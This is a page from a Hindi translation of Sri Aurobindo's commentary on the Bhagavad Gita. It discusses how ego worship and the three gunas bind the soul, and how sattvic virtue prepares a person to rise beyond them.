गीता प्रबंध -अरविन्द पृ. 264

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गीता-प्रबंध: भाग-2 खंड-1: कर्म, भक्ति और ज्ञान का समन्वयव
2.भक्ति -ज्ञान -समन्वय

जब तक हम सबसे उत्तम गुण सत्व के विधान को अपने अंदर पहले विकसित और प्रतिष्ठित नहीं कर लेते , तब तक हम त्रिगुण के पार नहीं पहुंच सकते।‘‘ कुकर्मी मुझे नहीं पा सकते जो मूढ़ हैं, नराधम हैं,क्योंकि ‘‘, भगवान् कहते हैं कि, ‘‘ माया से उनका ज्ञान खो गया है और वह आसुर भाव को प्राप्त हुए हैं।” यह मूढ़ता प्रकृतिस्थ जीव को मायकि अहंकार का अपने जाल में फंसाना है। कुकर्मी को जो परम पुरूष की प्राप्ति नहीं हो सकती इसका कारण ही यह हे कि यह सदा ही मानव - प्रकृति के निम्नतम स्तर पर रहने वाले अपने इस इष्ट देवता अहंकार को ही पूजा करता है; अहंकार ही उसका यथार्थ परमेश्वर बन बैठता है। उसके मन और संकल्प को त्रिगुणात्मिका माया अपने व्यापार में घसीट ले जाती है और ये उसकी आत्मा का कारण नहीं रह जाते बल्कि उसकी वासनाओं के , स्वेच्छा से या अपने - आपको धोखा देकर, गुलाम बन जाते हैं। वह तब अपनी निम्न प्रकृति को ही देखता है , उस परम आत्मा और परम पुरूष या परमेश्वर को नहीं जो उसके और जगत के अंदर हैं; वह सारे जगत को अपने मन में अहंकार और काम की भाषा में समझा करता और अहंकार और कामना की ही सेवा किया करता है। अहंकार को पूजना और ऊध्र्वमुखी प्रकृति और उच्चतम धर्म की कोई अभीप्सा न रखना असुर के मन और स्भाव को प्राप्त करना है।
ऊपर उठने के लिये प्रथम आवश्यक सोपान ऊध्र्वमुखी प्रकृति और उच्चतर धर्म की की अभीप्सा करना , कामेच्छा की अपेक्षा किसी महत्तर विधान का पालन करना , और अहंकार से बड़े और श्रेष्ठ देवता को जानना और पूजना , सद्विचार से युक्त होना और सत्कर्म का कर्मी बनना ही है। पर इतना ही बस नही है; क्योंकि सात्विक मनुष्य भी गुणों के चक्कर में बंधा रहता है, क्योंकि अब भी वह राग - द्वेष के द्वारा ही नियंत्रित होता है। वह प्रकृति के नानारूपों के चक्र में घूमता रहता है, उसे उच्चतम , परम और समग्र ज्ञान प्राप्त नहीं होता। तथापि सदाचार - संबंधी अपने लक्ष्य की ओर अपनी निरंतर ऊध्र्वमुखीन अभीप्सा के बल से वह अंत में पाप के मोह से - जो पाप रजोगुण से उत्पन्न काम - क्रोध से ही पैदा होता है , उससे - मुक्त होता और अपनी प्रकृति को ऐसी विशुद्ध बना लेता है कि वह उसे त्रिगुणात्मिका माया के विधान से छुड़ा देती हैं पुण्य से ही कोई परम को नहीं पा सकता , पर पुण्य से[१]स्पष्ट ही सच्चे आंतरिक पुण्य से विचार, भाव, चित्तवृत्ति, हेतु आचार की सात्विक विशुद्धि से, केवल रूढ़ि या सामाजिक रिति - रिवाज से नहीं। वह उसे पाने का ‘ अधिकारी ’ होता है। अधकचरे राजस या कुन्द तामस अहंकार को हटा देना और उससे ऊपर उठना बड़ा कठिन होता है; सात्विक अहंकार को हटाना या उससे ऊपर उठाना उतना कठिन नहीं होता और अभ्यास से जब अंत में वह यथेष्ट रूप से सूक्ष्म और प्रकाशयुक्त हो जाता है तब उसे पार कर जाना , उसे रूपांतरित करना या मिटा देना भी आसान हो जाता है।


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टीका टिप्पणी और संदर्भ

  1. 7.27

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